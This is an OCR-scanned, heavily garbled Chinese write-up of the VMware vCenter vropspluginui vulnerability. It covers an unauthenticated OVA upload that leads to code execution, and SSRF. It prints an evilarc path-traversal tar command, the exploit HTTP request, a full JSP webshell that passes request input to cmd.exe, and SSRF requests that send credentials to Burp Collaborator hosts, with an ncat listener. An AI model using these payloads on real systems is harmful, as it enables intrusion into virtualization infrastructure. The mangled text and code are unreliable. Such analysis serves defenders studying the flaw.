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/ui/vropspluginui/rest/services/uploadova 1X & FE RN tar X EEINEE, BE)
MEEEFH, PR TEERFHASE LEBERIOXEFRL, MEE tar XHFRIISUER,
7 Windows AW HEBIA X endpoint _FEES webshell B tar X4, SiETE Linux
FE FERHZE / home/vsphere—ui/ .ssh/authorized_keys 23], RCE,

B -

e \/Mware vCenter Server (7.x before 7.0 Ulc, 6.7 before 6.7 U3l and 6.5 before 6.5
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e vCenter Server 6.5 (7515524<[vulnerable]<17590285)
e vCenter Server 6.7 (<17138064) vCenter Server 7 (<17327517)
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FNER: https://www.exploit—db.com/exploits/49602
1. Linux FEFBARNRTFE LE SSH 2 (RF/E ssh ixd)
2. Linux & upload #RIE{ERNAEF 2 vsphere—ui:users,
3. Windows F& upload ##1EZ SYSTEM R

4. vCenter 6.5 <=7516524 N2 REEN0N, EN%AE vropspluginui X MEH (BB A
A 2 B EVN B 5 T 55 )

5. vCenter 6.7U2(Linux appliance b13010631) &M FhRAE WEB IREBEANFT, FTUE
B 2MNEAIN (B webshell EBRGEFEASE SSH A5 N)

WRER

{6 Windows Server 2016 &%, VMware—VIM-all-6.7.0-14367737.iso



ES AT
#TODO j2FHEDHT, VElIMNEIZIEMIN

RS vropsplugin—
service.jarl\com\vmware\vropspluginui\mvc\ServicesController#fuploadOvaFile

’T @RequestMapping(
378 wvalue = {"@m“},
379 method = {RequestMethod.POST}
)

L= L] public veid Wwﬂ(wquaswaram(ualue = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception [
382 logger.info( o "Entering uploadOvaFile api");

int code = uploadFile.isEmpty() ? 480 : 200;

PrintWriter wr = null;

try {
if (code 1= 288) {
response. sendError (code, "Arguments Missing");
389 return;

392 Wr = response.getwriter();
} catch (IOException varld) {
varld.printStackTrace();
logger.info( o "uplead Ova Controller Ended With Errer');

response. setstatus(code);
String returnsStatus = “SUCCESS";
if (luploadFile.isEmpty()) {

481 try {
482 logger.info{ o "Downloading OVA file has been started");
logger.info( o "Size of the file received : " + uploadFile.getSize()});

InputStream inputStream = uploadFile.getInputStream();
File dir = new File( pathname: " /tmp/unicorn_ova_dir");
if (ldir.exists()) {
B dir.mkdirs();
188 } else { -
> string[] entries = dir.list(); \ 7 ...}.] z| r’] OWSOC |,_{
410 string[] var9 = entries; N A= bk
int varle = entries.length;




if (luploadFile.isEmpty()) {
try {

logger.info( 0 "Downloading OVA file has been started");

logger.info( 0 "Size of the file received : " + uploadFile.getSize());

InputStream inputStream = uploadFile.getInputStream();

File dir = new Fil

if (ldir.exists()) {
dir.mkdirs();

} else {
String[] entries = dir.

pathname: "/tmp/unicorn_ova_dir");

String[] var9 = entries;
int varl® = entries.length;
for(int varll = @; varll < varldg ++varll) {
String entry = var9[varll];
File currentFile = new File(dir.WetPath(), entry);

currentfFile.delete();

logger.info( o "Successfully cleaned : /tmp/®gicorn_ova_dir');

TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
ArrayList result = new

while(entry != null) {
if (entry.isDirectory()) {

entry = in.getlextTarEntry(); .
P
} else { %’fﬁﬁ

File curfile = new File( parent "/tmp/unicorn_ova_dir", ‘entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {

parent.mkdirs(); -, shadowsockT

tar AR A FERX T A https://github.com/ptoomey3/evilarc/blob/master/evilarc.py

python3 D:\repos\Poc\evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfchart
s\tc-instance\webapps\statsreport' -o win -f exp_by_cqq.tar D:\repos\xxx\upload\test_by_
cqqlll.jsp

ESDPACE

5] | ChUsers\Administratoriexp by cggtari. G\ ProgramDatat\WMware\wCenterServer\data'\perfcharts\tc-instance\webapps\statsreporty,
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[Wltest by cqgiiljsp 736 1024 2020-11-12 1., -rW-FW-rW- oo snacdowsock
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex nenaari
1 POST fui /vropspluginui frest/services/uploadova HTTP/1.1 & 1 HTTP/1.1 200
2 Host: 192.168.85.146 2 Set-Cookie: VSPHERE-UI-]SESSIONID=793F635DFAF3I9161F7F4D34C23194FED; Path=/ui;
3 Connection: close Secure; HttpOnly
4 Content-Type: multipart/form-data; boundary=----WebkitFormBoundary_test 3 Date: Thu, 25 Feb 2021 08:58:13 CMT
5 Content-Length: 10411 4 Connection: close
& 5 Servar: Anonymous
fj— WebKi tFormBoundary_test & Content-Length: 7
8 Content-Disposition: form-data; name="uploadFile"; filename="test_by_cqgqg.ova" 7
9 Content-Type: text/plain 8 SUCCESS
10
11]../../testFolder/test_by cqq.txt

00006686000000000000000000000001414015662741015030

2“” 1B Windws Server 2016-deskiog2 - Vidwars Warkstation o x

0000000000000 MHE WE SN &AM BEED MIe |l - S ® L 0B 0 0~

o

h * [ d-2020.2 (0] Windows7_pro__sid [} [u} v “or
D T, PR T -
test by = | B test by coq - Everything - o x
cqq! ijm'::_!m,_mm Flo Edh View Seach Bockmarks Tocks Help
i (R Uburtu-server- 18042 et s . " L e P
E) kal-2020.2 - Pah P =g owWsoc e

RN

« ProgramData » VMware »

X% %%

[C1 WirdownT pro_wid

1] test by _eaqae CipmatFalder

O
1 Wirdows-Server-2003-Erterprise-Ediian

viCenterServer » data » perfcharts » tc-instance » webapps » statsreport

=t ) EaE = b

[ hostVirtualMachines,jsp 2019/8/9 17:33 JSP 304 13 KB
[ loadingIndicator.jsp 2019/8/3 17:33 JSP 3l 3KB
| main.css 2019/8/2 17:33 |= = 7 KB
[] modeLinks.jsp 2019/8/9 17:33 JSP 3044 2 KB
[ ] noPerformanceData,jsp 2019/8/9 17:33 JSP 304 2 KB
[ ] noPerfarmanceDataForStatsLeveljsp 2019/8/9 17:33 JSP Ifg 2 KB
[ ] pagetantrolTab.jsp 2019/8/3 17:33 JSP 3l B KB
[] perfcharts-health-resourcebundle jar 2019/8/9 17:33 JAR 324 9 KB
[ realtimeRefresh,jsp 2019/8/9 17:33 JSP 304 1KB
[ resourcePoolHome.jsp 2019/8/9 17:33 JSP 3o 3 KB
[ ] resourcePoolRPVMSs.jsp 2019/8/9 17:33 JSP 3% 19 KB
| 7 statsipplicationLauncher.jsp 2019/8/9 17:33 JSP Zfg 2 KB
[ storagePodHome.jsp 2019/8/3 17:33 JSP 3044 12 KB
[ ] storagePodNfsPerfjsp 2019/8/9 17:33 JSP 304 o KB
[ storagePodPerfisp 2019/8/9 17:33 JSP I7is 6 KB

| ] testbycqaitijsp 2021/2/25 17:14  JSP Szt 1xs| |

| ] imeRangeLinks.jsp 2019/8/9 17:33 JSP 3044 18 KB
[ ] imeRangeTextjsp 2019/8/9 17:33 JSP 304 3 KB
[ timezonejsp 2019/8/9 17:33 JSP 2 2 KB
[ transparencyFixjsp 2019/8/9 17:33 JSP 3% 1KB
[ ] unauthorized,jsp 2019/8/9 17:33 JSP ziE el 4]

11 4E 736 FT

S Bhadowsock?

I518) webshell :



Request Response

_[RHIFarlmlIHnﬂln IH.;( | JM]Hnm IHu]HTML l Render |
1 GET /statsreport/test_by_cqglll.jsp?emd=ipconfig HTTP/1.1 L 1 HTTP/1.1 200
2 Host: 192.188.85.146 2 Set-Cookie: JSESSIONID=FOB&9DE7S70EA2B4BS3C1OFOAFSAEDFL; Path=/statsreport;
3 Connection: close Secure; HttpOnly

4 Content-Type: text/htm];charset=150-8850-1

5 Content-Language: en

3

4

5 Content-Length: 949

6 Date: Thu, 25 Feb 2021 09:20:56 GMT
7 Connection: close

100 <HTML><BODY >

115 <FORM METHOD="POST" NAME="myform" ACTION=""s
12 <INPUT TYPE="text" NAME="cmd"»

13 <INPUT TYPE="submit" VALUE="Send"s

14 </FORM>

150 <pras

16 Command: ipconfig

17 <BR>

19 Windows IP 0000

22 00pogooood Ethernet:

24 0O0@30000 DNS 000 . o w w « . . = Tocrs wmain

5 100000 VB U0, v v v 0 & 4 = & L faetbre BT e ek are
o mmmIme .- SR RS O CKT
27 DOODO000 w = = s = = = = = « = « = 255.255.255.0
L 28 IOO0O00. w & & « « + « & w « « . & 102,1B68.85.2

> N .

BENRARE:

AN AN Kh -

S

curl -i -s -k -X $'POST' -H $'Host: 10.x.y.z"' -H $'Connection: close' --data-bin

ary $'<env:Envelope xmlns:xsd=\"http://www.w3.0rg/2001/XMLSchema\" xmlns:env=\"http://sc
hemas .xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.0rg/2001/XMLSchema-instance

\">\x0a <env:Body>\x0a <RetrieveServiceContent xmlns=\"urn:vim25\">\x0a
<_this type=\"Servicelnstance\">Servicelnstance</_this>\x0a </RetrieveServiceConten
t>\x0@a </env:Body>\x0a </env:Envelope>' $'https://10.x.y.z/sdk"'

http 153K :

POST /sdk HTTP/1.1
Host: 10.x.y.z
Connection: close

<env:Envelope xmlns:xsd="http://www.w3.0rg/2001/XMLSchema" xmlns:env="http://schemas.xml
soap.org/soap/envelope/" xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance">

<env:Body>

<RetrieveServiceContent xmlns="urn:vim25">

<_this type="Servicelnstance">Servicelnstance</_this>

</RetrieveServiceContent>

</env:Body>

</env:Envelope>



-X $'POST" -H $'Host: 10

-H $'Connection: close' --data-binary %'<enwv:Envelope xmlns:xsd<

\'http://www.w3.0rg/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/scap/envelope/\" xmlns:xsi=\"http://www.w3.0rg/2001/XMLSchema-instanc

<env:Body>\xBa

</RetrieveServiceContent>\x0a </env:Body>\x08a

0" encoding="UTF-8
lope xmlns:soapen

vCenter Server

="PerformanceManage

AlarmManager
askManage

tomFieldsMa
icenseManager</licenseManager

nseManager <
r type="VirtualDiskManager

fileManager=<virtualDiskMan

-5 1l

poc

FHTF / ui/vropspluginui/rest/services/uploadova

archIndex type="S
rtualDiskMan

<RetrieveServiceContent xmlns=\"urn:vim25\">\x0a
</env:Envelope>"

<_this type=\"ServiceInstance\">Servicelnstance</ this
$'https://10.

er><scheduledTaskManager type="Sche
larmManage ntManager ty
E>
customFields
nosticManag
SearchIndex
irtualDi

X endpoint 7FEE XS 55 POST 15

K, PRBA GET 1X™ endpoint ZN5RIR[E 405, NIAEREIERRRIAFE,

me] Headers | Hex

‘Raw | Headers | Hex | HTML | Render

1 GET fui/vropspluginui /rest/services/uploadava HTTP/1.1
Host: 192.168.85.146
3 Connection: close

exp

M windows &+ 1. & webshell

HTTP/1.1 405

! Set-Cookie: VSPHERE-UI-)SESSIONID=582A8AD37CE0SE23A0590E806A17972F; Path=/ui;

Secure; HttpOnly

i AlTow: POST

Content-Type: text/htm];charset=utf-8

5 Content-Language: en

6 Content-Length: 1085
7 Date: Thu, 25 Feb 2021 08:40:51 GMT
4 Connectien: close

Server: Anonymous

<!doctype htmT><htm]l lang="en"»<head><ti t1e>HTTP Status 405 - Method Not Allowed</
titles<style typa="taxt/css">hl {font-family:Tahoma,Arial,sans-serif;color:white;
background-color:#525076;font-size:22px;} hZ {font-family:Tahoma,Arial,sans-serif;
color:iwhi te;background-coler:#525076; font-size:16px;} h3 {font-Family:Tahoma, Arial
,sans-serif;color:white;background-color:#525076; font-size: l4px;} body {
font-fami 1y:Tahoma, Arial,sans-seri f; color:black jbackground-color inhi te;} b {
Font-family:Tahoma,Arial,sans-serif;color:whi te;background-color:#525076:} p {
font-family:Tahoma,Arial,sans-serif;background iwhi te;color:black ; font-size:12px;}
a {color:black;} a.name {celor:black;} .line [height:lpx;background-color:#525076;
border:none; }</style></heads><body><hl>HTTP =7tus 405 - Method Not Allowed</hlx><hr
class="Tine" [»<p»<b=Type</b> Status Repor: corkiMess e /by Pacvest | mevhod
&#39 CET&#39: not supportede/p»<p><b>Descript. /sl TIGl miikod Fedcivadiinl the
request-line is known by the origin server but not supported by the target
resource. </p=<hr class="Tine" /></body></html>

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1

192.168.85.146
: close



Content-Disposition: form-data; name="uploadFile"; filename="test_by_cqq.ova"
Content-Type: text/plain

./ ./@LongLink0000000000000000000000000000016300000000000011215 Lustar 00000000000000 . .
/../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsr
eport/test_by_cqqlll.jsp../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/
tc-instance/webapps/statsreport/test0000666000000000000000000000134013753174237031127 Qu
star 00000000000000<%@ page import="java.util.*,java.io.*,java.net.*"%>

<HTML><BODY>

<FORM METHOD="POST" NAME="myform"™ ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter("cmd") !'= null) {

n

out.println("Command: + request.getParameter("cmd") + "\n<BR>");

Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"

)5
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readlLine();
while ( disr != null ) {

out.println(disr); disr = dis.readlLine(); }

}

%>

</pre>

</BODY></HTML>

—————— test--

2. 3h18) webshell

GET /statsreport/test_by_cqqlll.jsp?cmd=ipconfig HTTP/1.1
Host: 192.168.85.146
Connection: close

SSRF
ZEHIMENFIREIK,

/ui/vropspluginui/rest/services/getvcdetails



1, il 000, 1R —"1 header: vclP

J‘ Raw I Headers | Hex Jﬁaw] Headers | Hex | JSON Beautifier
GET Jui/vropspluginui /rest/services/getvcdetails HTTP/1.1 ,T 1 HTTP/1.1 500
2 Host: 192.168.85.146 2 Set-Cookie: VSPHERE-UI-JSESSIONID=69072E2BAEDECAFD1A46DDEEODEDCAF2; Path=/ui;

Connection: close Secure; Hrtponly
4 3 Content-Type: applicatien/json;charset=UTF-3
Date: Fri, 26 Feb 2021 02:51:11 GMT
Connection: close
Server: Anonymous
Content-Length: 11284

( sta:kTra:e

g.5pri ngfrwuewmk web.bind.ServietRequestBindingException:
ar UcIF for _method parameter of type String\rin\tat org.spring ra'newmlt meb meth
od.annotati on.RequestHeaderMethodArgumentResolver . hand]eMi ssingvalue (RequestHeader
MethodArgumentReselver.java: 82)\rin\tat org « '.'ngl"’dne'ﬂalk web.method. annotation.
Abstrac thamedvalueMethodArgumentResolver.han( © ° ss¥1[@Vx il (ka7 tAlT 1 reMe th
odArgumentResalver . java: 215)\r\n\tat org.springryamewori.wab.method.annstation.Abs
trac tamedvalueMe thodArgumentResol ver. resol veArgument (Abs trac tNamedvalueMethodArgu
mentResolver.java:109)\r\n\tat org.springframework .web.method. support.HandlerMetho

BE MM EIEIERXD endpoint:

:~/repos$ strings vropsplugin-service.jar|grep getvcdetails
:~/repos$ unzip -q vropsplugin-service.jar -d vropsplugin-service
:~/repos$ cd vropsplugin-service

:~/repos/vropsplugin-service$ grep -rn getvcde‘ty
Binary file com/vmware/vropspluginui/helper/RestClientWrapper.cld@® 5.1513a dawsockT
CALETS RS- com/ vimware/vropspluginui/mvc/ServicesController. clas siEideH]

IO header:

JR""| Headers | Hex | Foll every 80 saconds | Poll now
1 GET Jui/vropspluginui /rest/services/getvedetails HTTR/1.1
Z Host: 192.168.85.146 # o« Time Type Payload Caomment
R L Sl as L R L L ! 2021~ 1|-26034128UTC  DNS OtuaoteywdtbeovIsEigu3yudkss
5 vcPassword: Y3Fx 2 2021- " 1-26 03:41:31 UTC HTTP Otuaoleywdtbcovd3seMa0dyudksd

& reqResource: test_endpoint
Connection: close Description | Requast to Cell | from C |
p | Raw | Params | Headers | Hex | XML

1 POST /sdk HTTP/1.1
7 Accept: text/xml, multipart/related
Content-Type: text/xml; charsetsutf-8
Paction: “urn:vim25/6.7"
-Agent: JAX-WS RI 2.2.9-b1l30926.1035 svn-revision#3f619672bo0ed460065adc2f4eilelbib2dsesle
ontrel: no-cache

2 Host: Dtuaoleywqtbcovgi56ffq03yu4k59 burpeollaborator.net
9 Connection: keep-alive
10 Content-Length: 236
1
12 <7xm] version="1.0" 7»<S:Envelope xmins:S="http://schemas.xm]soap.org/soap/envelope/"><S:Bodys<
RetrieveServiceContent xmlns="urn:vim25"><_this typa="Servicelnstance">Servicelnstance</_thiss</
RetrieveServiceContent></S:Body></S:Envel ope>

@ |<|[+]|>

® o T z_c}_n E— .‘.....__'J_. RYYErD T::'?' ]
@ | =] # || 2| Type 2 search term Ometches | (7) | = || # || = | Type s searchte 0 matches
Done 12,556 bytes | 3,688 millis

ZADRAIEX jdk B9 http & I

rt jarl\com\sun\xmN\internal\ws\transport\http\client\Http TransportPipe.class



107 of public Packet process(Packet request) {
108 try {

Map<String, List<String>> reqHeaders = new Headers();
Map<String, List<String>> userHeaders = (Map)request.invocationProperties.get("javax.xml.ws.http.request.headers");
boolean addUserAgent = true;
if (userHeaders != null) {
regHeaders.putAll(userHeaders);
if (userHeaders.get("User-Agent") 1= null) {
addUserAgent = false;

it (adduserAgent) {
reqHeaders.put("User-Agent", USER_AGENT);

this.addBasicAuth(request, reqHeaders);
this.addCookies(request, reqHeaders);
HttpClientTransport con = this.getTransport(request, regHeaders);
request.addSatellite(new HttpResponseProperties(con));
ContentType ct = this,codec.getStaticContentType(request);
ByteArrayBuffer buf;
if (et == null) {
buf = new ByteArrayBuffer();
ct = this.codec.encode(request, buf);
regHeaders.put("Content-Length", Collections.singletonList(Integer.toString(buf.size())));
reqHeaders.put("Content-Type", Collections.singletonList(ct.getContentType()));
if (ct.getAcceptHeader() != null) {
regHeaders.put("Accept", Collections.singletonList(ct.getAcceptHeader()));

}

if (this.binding inst f S0APBindi T b - ~

if (this.binding instanceo inding) { ) JJL]C]CIUV\J‘.JUC},.{
this.writeSOAPAction(reqHeaders, ct.getSOAPActionHeader());

}

ME— TR




Response

‘ Raw ‘ Headers | Hex ‘ JSON Beautifier

1{ i

2 "stackTrace": "com.sun.xml.internal.ws.client.ClientTransportException: fi%di%i% [
HTTP Jk020{807200: OK\r\n\tat
com.sun.xml.internal.ws. transport.http.client.HttpTransportPipe.createResponsePacke
t(HttpTransportPipe.java:266)\r\n\tat
com.sun.xml.internal.ws. transport.http.client.HttpTransportPipe.process(HttpTranspo
rtPipe.java:217)\r\n\tat
com.sun.xml.internal.ws.transport.http.client.HttpTransportPipe.processRequest(Http
TransportPipe.java:130)\r\n\tat
com.sun.xml.internal.ws.transport.DeferredTransportPipe.processRequest(DeferredTran
sportPipe.java:124)\r\n\tat
com.sun.xml.internal.ws.api.pipe.Fiber.__doRun(Fiber.java:1121)\r\n\tat
com.sun.xml.internal.ws.api.pipe.Fiber._doRun(Fiber.java:1035)\r\n\tat
com.sun.xml.internal.ws.api.pipe.Fiber.doRun(Fiber.java:1004)\r\n\tat
com.sun.xml.internal.ws.api.pipe.Fiber.runSync(Fiber.java:862)\r\n\tat
com.sun.xml.internal.ws.client.Stub.process(Stub.java:448)\r\n\tat
com.sun.xml.internal.ws.client.sei.SEIStub.doProcess(SEIStub.java:178)\r\n\tat
com.sun.xml.internal.ws.client.sei.SyncMethodHandler.invoke (SyncMethodHandler. java:
93)\r\n\tat
com.sun.xml.internal.ws.client.sei.SyncMethodHandler.invoke(SyncMethodHandler . java:
77)\r\n\tat
com.sun.xml.internal.ws.client.sei.SEIStub.invoke (SEIStub.java:147)\r\n\tat
com.sun.proxy.$Proxy797.retrieveServiceContent(Unknown Source)\r\n\tat
com. viware.vropspluginui .helper.VcDetaiTsUtils.connectToVc (VcDetailsUtils. java:80)\
r\n\tat
com. viware. vropspluginui .mvc. ServicesController.getvedetai1s|(Servi cesController. jav
a:211)\r\n\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Nati:» Methogz\r\n\t=t
sun.reflect.NativeMethodAccessorImpl. 1nvoke(Nat1veMethodAccessorImpr‘j&y 6éj{r&1\t
at

(AV.ENiRE=E



IR public ityeString> g (value = "wcIF", required = true) String welP, va = ,required = true) String velsername, @RequestHeader (value
legger.info( o "Entering getwcdetails api');

logger.info( o "getvcDetails controller Begin');

try {

vcPassword = new String(Basedd. () .decode( d), o x "UTF-8");
} catch (UnsupportedEncodingException varld) {

logger.error( o “Encoding not suported”);

varld.printStackTrace();

return new y( body ", P -BAD_REQUEST) ;

3}

String vusername = URLDecoder.decode (vcUsername, enc "UTF-5");
logger.info( o "getvedetails username: " + vusername);
VeDetailaUtils. conneetToVe (velP, vusername, vePassword);

5T S = new s();
responseHeaders. set("Content-Type", "application/json; charset=UTF-8");
String returnResult = null;

try {
VeDetailsUtils. connectToVe(veIP, vusername, vcPassword);
1f (regResource.equalsIgnorecase (VimTypes.DATACENTER)) {
logger.info{ o "[getvedetails] - Requested Resource is DATACENTER");
returnftesult = VeDetadlsutils. getAllDatacenters();
} else if (reqResource.equalsIgnoreCase(VinTypes CLUSTER)) {
logger.info{ o "[getvedatails] - Requested Resource is CLUSTER");
returnfesult = VeDetailsutils. getClustersandComputeResources(datacenterld);
} else if {reqResource.equalsIgnoreCase (VimTypes HOST)) {
legger.info{ o "[getwcdetails] - Requested Resource is HOST');
returntesult = VeDetadlsUtils. getHostsFronCluster (datacenterTd, clusterTd);
} else if (reqResource.equalsIgnoreCase(VinTypes DATASTORE)) {
if (regResourcelype.equalslgnoreCase(VimTypes.HOST)) {
logger.info( o "[getvedetails] - Requested Resource s DATASTORE and requested by HOST"); el
returnResult = VcbetailsUtils.getDatastoreAndNetworkFromHost(datacenterId, clusterld, hostId); o rh 7 (I r ._f.f eV | /_J(
} else if (regResourceType.equalsIgnoreCase(ViaTypes.COMPUTE_RESOURCE)) { ey <ILIDJ 2L
logger.info[ o "[getvedetails] - Requested Resource is DATASTORE and requested by ComputeResource"};
returnfesult = Vebetailsutil KFr 1d, hestld);

(4]
@
D

public static void connectToVc(String vcIp, String userName, String password) throws Exception {

59 if (_isConnected) {
60 _logger.info({ 0! "[connectToVc] - Connnection already exists hence disconnecting");
61 disconnect();

o
(%]
[

63

64 if (!_isConnected) {

65 _logger.info({ 0! "[connectToVc] - Connecting to WC : " + vclIp);

66 HostnameVerifier hv = verify(urlHostName, session) =+ { return true; };

71 TrustAllTrustManager. trustAllHttpsCertificates();

72 HttpsURLConnection.setDefaultHostnameVerifier (hv);

73 SVC_INST_REF.setType('ServiceInstance");

74 SVC_INST_REF.setWalue("ServiceInstance");

75 Map<String, Object» ctxt = ((BindingProvider)_vimPort).getRequestContext();
-6 [ ]

ctxt.put("javax.xml.ws.service.endpoint.address", formVCSedverUrl(chp});

ctxt.put("javax.xml.ws.session.maintain", true);
78 _serviceContent = _vimPort.retrieveServiceContent (SVC_INST_REF);
_vimPort.login(_serviceContent.getSessionManager (), userName, password, (String)null);

_isConnected = true;

_logger.info({ 0! "[connectToVc] - Successfully connected to VC : " + vcIp);
82 1 .
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PS C:\Users\Administrator=>
Ncat:
Ncat:
Ncat:
Ncat:
Ncat: Connection from
Ooo??0° 8dEEMO' USHE cO~Urisfir

[« T+T=T=]

Listening on :::8888
Listening on ©.6.08.0:8

Connection from 192.168.
192.168.

ncat
Version 7.80 ( https://nmap.org/ncat )

8

5

.146.

8888

.1d6:58092.

EZjQ?0)v??=27kj??5279822<72g@??/22322272{8.27@ /&% -27700D
ooooo

]
O0000000000000000000000000000

return “"https:/

BUBEERIBEMN, B ™ML SSRF:
/testvcconnection

/testvropsconnection

| Rnw\l Headers | Hex |

/" + velrl + "/fsdk":

Raw | Headers | Hi
|| reacers |

1 GET /ui/vropspluginui/rest/services/testvcconnection HTTP/1.1
Host: 192.168.85.146

3 veIP: Okux67skser8x068qgbfodcovfiSpu.burpeollaborator.net

1 vcUsername: Y3Fx

5 vePassword: Y3Fx

6 Connection: close

1 HTTP/1.1 200|

set-Cookie: |
Secure; Http|
Content-Type
Content-Leng|
Date: Fri, 2|

& Connection: |
7 Server: Anon|

9 True

ﬁ shadowsockT

@ = public static String formVCServerUrl(String wvcUrl) {

stz awzaaif

Number to generate: 1 Copy to clipboard | [ Include Collaberator server locat

Poll every &0 seconds | Poll now
# . Time Type Payload
1 2021- . /]-26 03:56:42 UTC DNS SkuxETskserBxo58qgbloSeovii Spu
2 2021- ./]-26 03:56:44 UTC HTTP SkuxETskser8xS68qgbfoScovil Spu
Descripti |Requnsl 1o C panse fram C

L
JRaw | Headers | Hex |

L GET /mob HTTR/1.1

2 Authorization: Basic WINGeDpjcxE=
i Content-Type: application/json

4 Cache-Control: no-cache

5 Pragma: no-cache

6 User-Agent: Java/1.8.0.7 " — .
7 Host: 9kux67skser8x068qg.| " ° wFIB|WREGIE ) \\lfarsr e !

3 Accept: text/html, image/giT image/jpeg, *; g=.2, “/¥; g=.2
# Connection: keep-alive




Request Response MNumber to generate: 1 | Copy to clipboard J o Include Collaborator server locati

Raw | Headers | Hex Ay Headers | He Poll Collaborator interactions

1 GET Jui/vropspluginui /rest/services/testvropsconnection HTTP/1.1 HTTP/1.1 200
2 Host: 192.168.85.146 Set-Cookie: Paoll every &0 seconds | Poll now
3 vropsIP: Dlzony9b958ze0nz77s650tFc6ix6m.burpcollaborator.net Secure; Httpl

r

4 wropsUsername: Y3Fx 3 Content-Type % . Time Type Payload
5 vropsPassword: Y3Fx 4 |Content-Leng 1 2021~ J|-2603:5642UTC  DNS SkurBTsksergx966qgbloScovispu
o Connaction: close 5 Date: Fri, 2
- & Conmection: 2 2021 J]-26035644UTC  HTTP SkuxsTskseraxs68qgbloScovi15ou
8 7 Server: Anon 3 2021-)]-26 03:58:07 UTC DNS 01zony3b358z220n27 7s650tfcEixEm
8 e 4 2021- JI-26035810UTC  HTTP 01z0ny3b958280n2T TS50 CBXEM
Description | Requestto C | Response from |

Raw | Headers | Hex |

1 GET [suite-api/api/versions/current/endpoints HTTP/1.1

2 Autherization: Basic WTNGeDpjeXE=

3 Content-Type: application/json

4 Cache-Control: no-cache

5 Pragma: no-cache

& User-Agent: Java/1.8.0_212

7 Host: 0lzony9b958ze0nz77s650tFc61x6m. burpcollaborator.net

3 Accept: text/html, image/~f, image/jpeg, *; g=.2, =/*; g=.2
9 Connection: keep-alive T e by e ~ 4
10 L, ST COwWs 0 -!‘/ |

® s = |1J Type a search term

OREIN UA A—1FT, EAERNESA—FT, X

=
A

o java.net.URL#openConnection

286 ERequestMapping(

2 value = {"/testvropsconnection"},
method = {RequestMethod.GET}

)

EResponseBody

public String testvropsconnection(@RequestHeader(value = "vropsIP",required = true) String vropsIP, @RequestHeadet
logger.info( o "Entering testvropsconnection api');

int responseCode;

try {
logger.info( o "ServicesController: VropsConnect‘ion“);
String userName = URLDecoder.decode(vropsUsername, enc "UTF-2");
logger.debug( O "decode userMame:" + userName);

logger.info{ o " vropsIP: " + vropsIP + " vropsUsername: " + userName);

URL url = new URL( spec: "https://" + vropsIP + "/suite-api/api/versions/current/endpoints");
81 vropsPassword = new String(Base64.getDecoder () .decode (vropsPassword), charsetName: "UTF-8"");
String authorizationString = userName + '":" + vropsPassword;

String encodedAuth = Baseb4.getEncoder().encodeToString(authorizationString. getBytes());
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setConnectTimeout(10000);

conn.setRequestMethod ("GET");

conn.setRequestProperty ("Authorization", "Basic " + encodedAuth);

conn.setRequestProperty(''Content-Type', "application/json");
conn.disconnect(});
318 responseCode = conn.getResponseCode();
311 logger.info( o "Response code: " + conn.getResponseCode());
312 } catch (SocketTimeoutException varl@) {
313 responseCode = 400;
314 varld.printStackTrace();
315 } catch (ProtocolException varll) {
316 responseCode = 400;
31 varll.printStackTrace(); =
318 } catch (MalformedURLException wvarl2) {
319 responseCode = 400;
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poc

GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1

@RequestMapping(
value = {"/testvcconnection"},
method = {RequestMethod.GET}

)

(@ResponseBody

public String testvcconnection(@RequestHeader(value = "vcIP",required = true) String vcIP, @RequestHeader(value = 'vcUsernam

logger .info( o "Entering testvcconnection api");

int responseCode;

try {
logger.info( o "ServicesController: testVCConnection");
String vcName = URLDecoder.decode(vcUsername, enc: "UTF-8");
logger .debug( o '"decode vcname:" + vcName);
logger.info( o " vcIP: " + vcIP + " vcUserName: " + vcName);
URL url = new URL( spec "https://" + vcIP + "/mob");

vePassword = new String(Base64.getDecoder () .decode(vcPassword),

String authorizationString = vcName + ':" + vcPassword;

String encodedAuth = Base64.getEncoder().encodeToString(authorizationString.getBytes());

charsetName: "UTF-8");

HttpURLConnection conn = (HttpURLConnection)url.openConnection(); I

conn.setConnectTimeout(10000) ;
conn.setRequestMethod ("GET");

conn.setRequestProperty("Authorization", "Basic " + encodedAuth);

conn.setRequestProperty(''Content-Type', "application/json");
conn.disconnect();
responseCode = conn.getResponseCode();
logger.info( o "Response code: " + conn.getResponseCode());
} catch (SocketTimeoutException varl®) {
responseCode = 400;
varle.printStackTrace();
} catch (ProtocolException varll) {
responseCode = 400;
varll.printStackTrace();
} catch (MalformedURLException varl2) {
responseCode = 400;
varl2.printStackTrace();

Host: 192.168.85.146

vcIP: Qtuaoleywdtbcov9356ffq@3yudks9.burpcollaborator.net

vcUsername: Y3Fx

vcPassword: Y3Fx

regResource: test_endpoint

Connection: close

GET /ui/vropspluginui/rest/services/testvcconnection HTTP/1.1

Host: 192.168.85.146

vcIP: 9kux67skser8x968qgbfo9covfl5pu.burpcollaborator.net

vcUsername: Y3Fx

vcPassword: Y3Fx

Connection: close

GET /ui/vropspluginui/rest/services/testvropsconnection HTTP/1.1

shacowsock?



nost. 19£.106.65.1490

vropsIP: @1zony9b958ze@nz77s650tfcoixom.burpcollaborator.net
vropsUsername: Y3Fx

vropsPassword: Y3Fx

Connection: close

EEEN
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